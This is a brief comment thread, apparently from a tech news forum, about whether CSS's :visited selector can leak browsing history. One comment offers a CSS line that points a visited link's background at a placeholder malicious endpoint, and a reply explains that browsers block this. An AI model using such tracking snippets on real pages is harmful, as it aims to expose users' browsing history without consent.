News for hackers. Stuff that matters.
Re:Can you get pwned with CSS? by toastal on Monday February 28, 2022 @08:35PM (#30508037)
I've disabled :visited in about:config after reading it as a good hardening practice
Re:Can you get pwned with CSS? by capableweb on Monday February 28, 2022 @08:43PM (#30508116)
No longer necessary, all major browsers already patch that hole. JS doesn't see the state of visited links differently than normal links anymore.
Re:Can you get pwned with CSS? by toastal on Monday February 28, 2022 @08:57PM (#30508279)
Awesome. Great to know.
Re:Can you get pwned with CSS? by toastal on Monday February 28, 2022 @11:24PM (#30509551)
Wait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint) }
Re:Can you get pwned with CSS? by jfk13 on Tuesday March 01, 2022 @05:25AM (#30512296)
No. As per https://developer.mozilla.org/en-US/docs/Web/CSS/:visited,

> For privacy reasons, the styles that can be modified using this selector are very limited.

(and loading a background image isn't one of them).